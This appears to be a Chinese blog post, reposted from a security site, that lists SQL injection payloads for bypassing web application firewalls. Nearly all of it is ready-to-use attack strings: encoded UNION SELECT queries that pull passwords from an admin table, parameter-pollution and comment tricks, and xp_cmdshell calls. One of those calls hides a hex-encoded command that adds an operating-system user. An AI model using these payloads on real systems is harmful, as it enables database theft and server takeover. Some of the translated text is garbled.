[SQL注入]一些繞過WAF的技術(shù)
本文是在各種方法的WAF的總結(jié),我們可以在測試bypass WAF使用下面的方法,希望對大家有幫助。
URL encode(url編碼)
original payload:
?id=1 union select pass from admin limit 1
encode pyaload:
id=1%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%70%61%73%73%20%66%72%6f%6d%20%61%64%6d%69%6e%20%6c%69%6d%69%74%20%31
Unicode encode(unicode編碼)
original payload: ?id=1 union select pass from admin limit 1
encode pyaload: ?id=1 un%u0069on sel%u0065ct pass f%u0072om admin li%u006dit 1
HTTP參數(shù)污染/復(fù)雜參數(shù)旁路
?id=%28-575%29UNION%20%28SELECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,15,16,17,18&id=19%20from%28admin%29%29
?id=1&id=1//And//1=2//Union//Select/**/1,concat%28database%28%29,0x3a,user%28%29,0x3a,version%28%29%29,3
?id=1 union select 1&id=pass from admin
特殊字符污染旁路
//%00等于NULL,空字符切割,WAF解析時間中的url參數(shù)被切換為/**/替換空格并替換為%n%d, ;[NULL] ;%00 ;\x00, ||….
搜索引擎白名單旁路狐援,旁路代理
請求方法繞過
Change GET to POST, POST to GET …
GET /id=1 union select 1,2,3,4
POST id=1 union select 1,2,3,4
Encoding Bypass (urlencoded/from-data)(編碼繞過)
The keyword split bypass(關(guān)鍵詞切割)
?id=1;EXEC(‘ma’+’ster..x’+’p_cm’+’dsh’+’ell “net user”‘)
Database special syntax bypass
?id=1.union%0aselect@1,2 ,!3,4
Use the comment statement to bypass(使用注釋符進(jìn)行繞過)
UNION /**/Select/**/user,pwd,from tbluser
HEX bypass(hex繞過)
0x730079007300610064006D0069006E00 =hex(sysadmin)
0x640062005F006F0077006E0065007200 =hex(db_owner)
?id=1;declare%20@a%20sysname%20select
@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400 exec master.dbo.xp_cmdshell @a;–
GET Parameter SQL Injection %0A Line Break Pollution Bypass(sql注入GET參數(shù)斷線污染繞過)
?id=-11%0Aunion%0Aselect 1,2,3,4
https://securityonline.info/2016/11/08/sql-injection-some-techique-to-bypass-waf/